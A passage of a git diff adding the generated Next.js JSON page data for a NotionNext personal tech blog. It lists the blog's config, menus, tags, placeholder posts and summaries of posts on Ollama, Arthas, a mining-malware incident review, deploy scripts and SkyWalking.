2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=973ede9c-1a10-4482-be06-324fd481d34f","pageCoverThumbnail":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=973ede9c-1a10-4482-be06-324fd481d34f\u0026width=800\u0026fmt=webp","tagItems":[{"name":"健康","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"163026f4-445a-4595-936d-c0df491c3776","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-6","tags":["金钱","推荐"],"summary":"仅供列表展示、文章无内容","title":"空白文章6","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:50.804Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random/720x480/?encryption\u0026t=163026f4-445a-4595-936d-c0df491c3776","pageCoverThumbnail":"https://source.unsplash.com/random/720x480/?encryption\u0026t=163026f4-445a-4595-936d-c0df491c3776","tagItems":[{"name":"金钱","color":"green"},{"name":"推荐","color":"red"}],"password":""},{"id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-7","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容;\n这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。","title":"空白文章7","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:57.241Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-8","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容","title":"空白文章8","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:20:08.239Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=b4a852c3-8bab-43ef-b748-8dec9d0940f9","pageCoverThumbnail":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=b4a852c3-8bab-43ef-b748-8dec9d0940f9\u0026width=800\u0026fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-9","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容","title":"空白文章9","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:20:06.142Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=463a12f0-d5d5-4492-bb0f-8058cea32a41","pageCoverThumbnail":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=463a12f0-d5d5-4492-bb0f-8058cea32a41\u0026width=800\u0026fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-10","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容、文章描述摘要过长时会被截断,仅显示前面几行内容,根据主题决定。这是一个示范","title":"空白文章10 标题注意不应该过长,否则影响显示效果,这是一个示范","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:20:03.738Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=95ddf5c1-569e-4c61-a1e8-6507fe59fc97","pageCoverThumbnail":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=95ddf5c1-569e-4c61-a1e8-6507fe59fc97\u0026width=800\u0026fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","icon":"fas fa-home","date":{"start_date":"2022-05-18"},"type":"Page","slug":"/","title":"主页","status":"Published","category":"","publishDate":1652832000000,"publishDay":"May 18, 2022","lastEditedDate":"2024-01-18T17:40:34.961Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"password":""},{"id":"7b6c5022-b0db-4dc3-a38e-47cefabe2caf","icon":"fas fa-search","date":{"start_date":"2021-07-02"},"type":"Menu","slug":"/search","tags":["文字"],"summary":"跳转到’/search’搜索页的菜单","title":"搜索","status":"Invisible","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.112Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"文字","color":"brown"}],"to":"/search","name":"搜索","password":""},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]},{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}],"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}]},"__N_SSG":true},"page":"/404","query":{},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/%23.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/%23.json
new file mode 100644
index 000000000..ac17743a7
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/%23.json
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119